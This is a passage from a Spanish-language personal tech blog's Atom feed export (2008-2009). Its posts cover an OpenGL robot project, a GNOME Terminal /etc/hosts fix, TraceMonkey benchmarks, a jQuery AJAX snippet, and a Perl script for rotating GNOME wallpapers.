'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia;"&gt;&lt;span class="Apple-style-span" style="line-height: normal; white-space: normal; "&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;That's It&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span"   style="font-family:Georgia;font-size:130%;"&gt;&lt;span class="Apple-style-span" style="font-size: 16px; line-height: normal; white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font: normal normal normal 115%/normal Monaco, 'Courier New', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace; line-height: 1.4em; "&gt;&lt;span class="Apple-style-span"   style="font-family:Georgia;font-size:130%;"&gt;&lt;span class="Apple-style-span" style="font-size: 16px; line-height: normal; white-space: normal;"&gt;Next article: Cloning Git Repos and mixing them with Dropbox&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-8472359293670262629?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/8472359293670262629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/8472359293670262629'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2009/09/sync-your-dotfiles-with-github.html' title='Sync your dotfiles with GitHub'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-6964805554798880578</id><published>2008-11-14T10:55:00.001-08:00</published><updated>2011-12-28T16:50:08.884-08:00</updated><title type='text'>Segunda Entrega Robot en OpenGL</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_gHnjNDzBHRk/SR3KC6e6MtI/AAAAAAAAAHc/BWgJc8sXo3o/s1600-h/Robo+Blender2.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 194px; height: 200px;" src="http://1.bp.blogspot.com/_gHnjNDzBHRk/SR3KC6e6MtI/AAAAAAAAAHc/BWgJc8sXo3o/s200/Robo+Blender2.png" alt="" id="BLOGGER_PHOTO_ID_5268589290500797138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Para la segunda entrega del robot en &lt;a href="http://es.wikipedia.org/wiki/OpenGL"&gt;OpenGL&lt;/a&gt; tuvimos que agregar muchas mas features:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Iluminación ambiente&lt;/li&gt;&lt;li&gt;Iluminación con color en movimiento&lt;/li&gt;&lt;li&gt;Materiales (Usamos Oro, Bronce y Plata)&lt;/li&gt;&lt;li&gt;Reflexiones&lt;/li&gt;&lt;li&gt;Primitiva creada desde cero&lt;/li&gt;&lt;/ul&gt;Para verlo en `wire mode` se usa la tecla 'W'. Para aumentar o disminuir la cantidad de triangulos de la primitiva se usa la tecla 'A' y 'a'.&lt;br /&gt;&lt;br /&gt;* Como el servicio pastebin caduca a los pocos días en esta ocasion no publicaré el codigo hasta encontrar otro servicio similar con mejores prestaciones. Si saben de alguno no duden en comentarme. Si quieres el código con gusto se los proporcionare personalmente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-6964805554798880578?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6964805554798880578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/6964805554798880578'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/11/segunda-entrega-robot-en-opengl.html' title='Segunda Entrega Robot en OpenGL'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_gHnjNDzBHRk/SR3KC6e6MtI/AAAAAAAAAHc/BWgJc8sXo3o/s72-c/Robo+Blender2.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-1266665852588957768</id><published>2008-11-04T21:30:00.000-08:00</published><updated>2011-12-28T16:50:24.428-08:00</updated><title type='text'>Mejora el arranque de GNOME Terminal</title><content type='html'>&lt;span style="font-family: verdana;"&gt;En sistemas basados en Debian (Ubuntu, Mint, etc.) y tal vez en otras distribuciones sucede que la terminal de GNOME (y algunas otras aplicaciones) puede tardar en arrancar porque decide buscar el hostname de la maquina local en 127.0.0.1, cuando en estos sistemas esta fijado en 127.0.1.1. Nuestro archivo /etc/hosts luce asi:&lt;/span&gt;&lt;br /&gt;&lt;pre style="font-family: courier new; font-weight: bold;"&gt;&lt;blockquote&gt;127.0.0.1 localhost&lt;br /&gt;127.0.1.1 inspiron&lt;/blockquote&gt;&lt;/pre&gt;&lt;span style="font-family: verdana;"&gt;Para solucionarlo tenemos que agregar nuestro hostname a la primera linea asi:&lt;/span&gt;&lt;br /&gt;&lt;pre style="font-family: courier new; font-weight: bold;"&gt;&lt;blockquote&gt;127.0.0.1 localhost inspiron&lt;br /&gt;127.0.1.1 inspiron&lt;/blockquote&gt;&lt;/pre&gt;&lt;span style="font-family: verdana;"&gt;Visto en: &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://linuxmint.com/wiki/index.php/Boost_Gnome_Performance_by_tweaking_/etc/hosts"&gt;LinuxMint Wiki&lt;/a&gt;&lt;span style="font-family: verdana;"&gt; | &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://forums.gentoo.org/viewtopic-t-539141-highlight-.html"&gt;Gentoo Forums&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-1266665852588957768?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1266665852588957768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1266665852588957768'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/11/mejora-el-arranque-de-gnome-terminal.html' title='Mejora el arranque de GNOME Terminal'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-554265465458000783</id><published>2008-11-01T12:02:00.000-07:00</published><updated>2011-12-28T16:50:08.880-08:00</updated><title type='text'>Robot en OpenGL</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_gHnjNDzBHRk/SQyokpiT4UI/AAAAAAAAAHQ/zQXFGAZO9Ok/s1600-h/robot.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 194px; height: 200px;" src="http://4.bp.blogspot.com/_gHnjNDzBHRk/SQyokpiT4UI/AAAAAAAAAHQ/zQXFGAZO9Ok/s200/robot.png" alt="" id="BLOGGER_PHOTO_ID_5263767412067787074" border="0" /&gt;&lt;/a&gt;Desarrollé un robot humanoide en &lt;a href="http://es.wikipedia.org/wiki/OpenGL"&gt;OpenGL&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/GLUT"&gt;GLUT&lt;/a&gt; para una clase y se los comparto aquí. Mueve los miembros en todos los ejes y tiene limites "naturales". &lt;a href="http://rafb.net/p/7uPdFg34.html"&gt;Código&lt;/a&gt;. Compilenlo asi: &lt;span style="font-family:courier new;"&gt;&lt;blockquote&gt;cc robot.c -lglut -lGL -lGLU -pthread -lm -Wall -o robot&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-554265465458000783?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/554265465458000783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/554265465458000783'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/11/robot-en-opengl.html' title='Robot en OpenGL'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_gHnjNDzBHRk/SQyokpiT4UI/AAAAAAAAAHQ/zQXFGAZO9Ok/s72-c/robot.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-3309106067822357676</id><published>2008-10-27T02:25:00.000-07:00</published><updated>2011-12-28T16:50:32.544-08:00</updated><title type='text'>Benchmarking de TraceMonkey en Firefox 3.1b1</title><content type='html'>Tras habilitar &lt;a href="https://wiki.mozilla.org/JavaScript:TraceMonkey"&gt;TraceMonkey&lt;/a&gt; en Firefox 3.1b1 (vease punto 7 de &lt;a href="http://www.pcdigital.org/trucos-para-acelerar-firefox/"&gt;este link&lt;/a&gt;) decidi hacer unas &lt;a href="http://www2.webkit.org/perf/sunspider-0.9/sunspider.html"&gt;pruebas&lt;/a&gt; de este que se dice ser el motor javascript mas rapido del mundo, las cuales arrojaron los siguientes resultados:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Suponiendo el mejor de los casos SIN el motor en &lt;span class="Apple-style-span" style="font-weight: bold; "&gt;3,021.56 ms&lt;/span&gt;, y el peor de los casos CON el motor en &lt;span class="Apple-style-span" style="font-weight: bold; "&gt;1,830.3 ms&lt;/span&gt; , podemos decir que con TraceMonkey tabajando ocupamos &lt;span class="Apple-style-span" style="font-weight: bold; "&gt;solo el 60% del tiempo&lt;/span&gt; de procesamiento cuando no esta habilitado. Una mejora del &lt;span class="Apple-style-span" style="font-size: 18px; "&gt;40%&lt;/span&gt; ! Les invito a nuestros amigos de &lt;a href="http://www.google.com/chrome"&gt;Google Chrome&lt;/a&gt; a igualarlo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;SIN TraceMonkey Habilitado:&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;RESULTS (means and 95% confidence intervals)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;--------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Total:                 3039.8ms +/- 0.6%&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;CON TraceMonkey habilitado:&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;RESULTS (means and 95% confidence intervals)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:x-small;"&gt;--------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Total:                 1821.2ms +/- 0.5%&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-3309106067822357676?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/3309106067822357676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/3309106067822357676'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/10/benchmarking-de-tracemonkey-en-firefox.html' title='Benchmarking de TraceMonkey en Firefox 3.1b1'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-1062434273961655396</id><published>2008-02-23T18:09:00.000-08:00</published><updated>2011-12-28T16:50:24.422-08:00</updated><title type='text'>Importar marcadores de Firefox en Nautilus</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_gHnjNDzBHRk/R8DUkVWz9II/AAAAAAAAAEs/oLwnnDZjRR0/s1600-h/bookmarks2launchers.png"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div style="text-align: left;"&gt;En mi intento por conseguir que mi &lt;a href="http://es.wikipedia.org/wiki/Browser"&gt;browser&lt;/a&gt; sea más limpio y funcional he decidido eliminar la barra de menús con &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/4762"&gt;éste plugin&lt;/a&gt; y también la barra de marcadores. Mediante &lt;a href="http://rafb.net/p/1BGFeM79.html"&gt;éste script&lt;/a&gt; en PHP que he adaptado he logrado importar los marcadores de Firefox y convertirlos en launchers para &lt;a href="http://es.wikipedia.org/wiki/Nautilus_%28inform%C3%A1tica%29"&gt;Nautilus&lt;/a&gt;. Por cierto estoy usando el nuevo &lt;a href="http://en-us.www.mozilla.com/en-US/firefox/3.0b3/whatsnew/"&gt;Firefox Beta 3&lt;/a&gt;, sin embargo debe funcionar con versiones anteriores sin ningun problema, sólo recuerden modificar el script para que apunte correctamente a su archivo &lt;span style="font-weight: bold;"&gt;bookmarks.html&lt;/span&gt; y la carpeta donde se guardarán los &lt;a href="http://es.wikipedia.org/wiki/Favicon"&gt;favicons&lt;/a&gt;. A continuación les muestro un screenshot del resultado:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_gHnjNDzBHRk/R8DUkVWz9II/AAAAAAAAAEs/oLwnnDZjRR0/s1600-h/bookmarks2launchers.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_gHnjNDzBHRk/R8DUkVWz9II/AAAAAAAAAEs/oLwnnDZjRR0/s200/bookmarks2launchers.png" alt="" id="BLOGGER_PHOTO_ID_5170366092894532738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-1062434273961655396?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1062434273961655396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1062434273961655396'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/importar-marcadores-de-firefox-en.html' title='Importar marcadores de Firefox en Nautilus'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_gHnjNDzBHRk/R8DUkVWz9II/AAAAAAAAAEs/oLwnnDZjRR0/s72-c/bookmarks2launchers.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-927804195289855731</id><published>2008-02-19T10:44:00.000-08:00</published><updated>2011-12-28T16:50:11.063-08:00</updated><title type='text'>Ajax con JQuery</title><content type='html'>&lt;p&gt;&lt;a href="http://jquery.com/"&gt;JQuery&lt;/a&gt; nos da los metodos &lt;a href="http://docs.jquery.com/Ajax"&gt;$.ajax&lt;/a&gt;, &lt;a href="http://docs.jquery.com/Ajax/jQuery.post"&gt;$.post&lt;/a&gt; y &lt;a href="http://docs.jquery.com/Ajax/jQuery.get"&gt;$get&lt;/a&gt; para manejar peticiones &lt;a href="http://es.wikipedia.org/wiki/AJAX"&gt;AJAX&lt;/a&gt;. Los dos últimos son derivados de &lt;a href="http://docs.jquery.com/Ajax"&gt;$.ajax&lt;/a&gt;, con una interfaz mas simple. &lt;a href="http://docs.jquery.com/Ajax"&gt;$.ajax&lt;/a&gt; es el más completo y nos permite manipular la petición a nuestro antojo como muestro a continuación:&lt;/p&gt; &lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;blockquote&gt; function openAjax(url, data) {&lt;br /&gt;    $.ajax({&lt;br /&gt;          type: “POST”,&lt;br /&gt;        url: url,&lt;br /&gt;        data: data,&lt;br /&gt;        beforeSend: function() {&lt;br /&gt;            $(’#ajax’).hide();&lt;br /&gt;            $(’#ajax’).html(”);&lt;br /&gt;            $(’#ajax_loading’).fadeIn(’slow’);&lt;br /&gt;        },&lt;br /&gt;        success: function(callback) {&lt;br /&gt;            $(’#ajax’).html(callback);&lt;br /&gt;        },&lt;br /&gt;        complete: function() {&lt;br /&gt;            $(’#ajax_loading’).hide();&lt;br /&gt;            $(’#ajax’).fadeIn(’slow’);&lt;br /&gt;        },&lt;br /&gt;        error: function() {&lt;br /&gt;            $(’#ajax’).html(’Ajax ERROR.’);&lt;br /&gt;        }&lt;br /&gt;    });&lt;br /&gt;}&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-927804195289855731?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/927804195289855731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/927804195289855731'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/ajax-con-jquery.html' title='Ajax con JQuery'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-1367876017670135733</id><published>2008-02-18T21:19:00.000-08:00</published><updated>2011-12-28T16:50:35.103-08:00</updated><title type='text'>¿Sí o no?</title><content type='html'>Parece ser que a la línea de autobuses &lt;a href="http://www.noreste.com.mx/"&gt;Noreste&lt;/a&gt; le gusta burlarse y confundir a sus pasajeros bilingües cuando éstos se ven en la necesidad darse una vuelta por los &lt;a href="http://es.wikipedia.org/wiki/Sarcasmo"&gt;cómodos&lt;/a&gt; baños de éstas &lt;a href="http://es.wikipedia.org/wiki/Guagua"&gt;guaguas&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_gHnjNDzBHRk/R7poSFWz9HI/AAAAAAAAAEk/RHbexTvjHhE/s1600-h/siono.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_gHnjNDzBHRk/R7poSFWz9HI/AAAAAAAAAEk/RHbexTvjHhE/s200/siono.jpg" alt="" id="BLOGGER_PHOTO_ID_5168558182245856370" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-1367876017670135733?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1367876017670135733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/1367876017670135733'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/s-o-no.html' title='¿Sí o no?'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_gHnjNDzBHRk/R7poSFWz9HI/AAAAAAAAAEk/RHbexTvjHhE/s72-c/siono.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-5314402338145750753</id><published>2008-02-13T23:17:00.000-08:00</published><updated>2011-12-28T16:50:24.449-08:00</updated><title type='text'>Rotando Wallpapers en GNOME</title><content type='html'>He modificado un script en &lt;a href="http://es.wikipedia.org/wiki/Perl"&gt;Perl&lt;/a&gt; que permite rotar wallpapers en &lt;a href="http://www.gnome.org/"&gt;GNOME&lt;/a&gt; cada cierto intervalo de tiempo. Lo adapté para que parseara el XML ~/.gnome2/backgrounds.xml el cual contiene los wallpapers favoritos del sistema y los usé en lugar de tener que especificar una carpeta del disco duro. Para instalarlo guarda el codigo en algun lugar de tu disco duro y hazlo ejecutable (chmod +x archivo.pl). Ya solo queda definir que se ejecute automáticamente cada vez que inicies sesión (Sistema-&gt;Preferencias-&gt;Sesiones). Aqui les dejo el código:&lt;br /&gt;&lt;br /&gt;&lt;blockquote  style="color: rgb(153, 153, 153);font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;#!/usr/bin/perl -w&lt;br /&gt;#&lt;br /&gt;# Default GNOME backgrounds feature by benji &lt;benoror@gmail.com&gt;&lt;br /&gt;# Originally Written by Michael Moore, Nov. 2007, placed in the public domain&lt;br /&gt;#&lt;br /&gt;# Requieres libxml-simple-perl&lt;br /&gt;# $ sudo apt-get install libxml-simple-perl&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use XML::Simple;&lt;br /&gt;&lt;br /&gt;my $switchTime = 300;               # Edit to the number of seconds between photo switches&lt;br /&gt;my $xml = new XML::Simple;&lt;br /&gt;my $data = $xml-&gt;XMLin("/home/".getpwuid($&lt;)."/.gnome2/backgrounds.xml");&lt;br /&gt;my @photos;&lt;br /&gt;my $temp;&lt;br /&gt;&lt;br /&gt;foreach my $key (keys (%{$data-&gt;{wallpaper}})){&lt;br /&gt; $temp = $data-&gt;{wallpaper}-&gt;{$key}-&gt;{filename};&lt;br /&gt; if($temp ne "(none)") {&lt;br /&gt;     push(@photos,$temp);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;   &lt;br /&gt;chomp(@photos);&lt;br /&gt;&lt;br /&gt;my $photo;&lt;br /&gt;&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt; $photo = $photos[rand($#photos)];&lt;br /&gt; `gconftool-2 --type string --set /desktop/gnome/background/picture_filename "$photo"`;&lt;br /&gt; sleep($switchTime);&lt;br /&gt;}&lt;/benoror@gmail.com&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Nota: Necesitas la libreria XML-Simple. Si usas ubuntu o derivados instalala ejecutando:&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote  style="color: rgb(153, 153, 153);font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;$ sudo apt-get install libxml-simple-perl&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-5314402338145750753?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5314402338145750753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5314402338145750753'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/rotando-wallpapers-en-gnome.html' title='Rotando Wallpapers en GNOME'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-4530775744790645011</id><published>2008-02-13T00:08:00.000-08:00</published><updated>2011-12-28T16:50:27.033-08:00</updated><title type='text'>Jugando con Inkscape</title><content type='html'>&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 89px; height: 89px;" src="http://www.nxtch-xpression.com/blog/wp-content/uploads/2007/09/inkscape.png" alt="" border="0" /&gt;No soy un dieñador gráfico ni nada por el estilo, pero siempre me he sentido atraído por el &lt;a href="http://es.wikipedia.org/wiki/Gr%C3%A1fico_vectorial"&gt;dibujo vectorial&lt;/a&gt;. Existen varias opciones, entre las más destacadas de &lt;a href="http://es.wikipedia.org/wiki/Illustrator"&gt;Adobe&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/CorelDRAW"&gt;Corel&lt;/a&gt;, sin embargo estoy más familiarizado con &lt;a href="http://es.wikipedia.org/wiki/Inkscape"&gt;Inkscape,&lt;/a&gt; que no le pide nada a sus contrincantes antes mencionados y además es open source. A continuación les dejo una muestra de lo que se puede llegar a hacer con esta aplicación sin necesidad de ser un Picasso:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_gHnjNDzBHRk/R7Ko01Wz9EI/AAAAAAAAAEA/vd29cOjKZL0/s1600-h/inkscape_benji.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_gHnjNDzBHRk/R7Ko01Wz9EI/AAAAAAAAAEA/vd29cOjKZL0/s200/inkscape_benji.jpg" alt="" id="BLOGGER_PHOTO_ID_5166377348176802882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://benoror.deviantart.com/"&gt;&lt;br /&gt;Mi perfil en deviantART&lt;/a&gt;.&lt;div 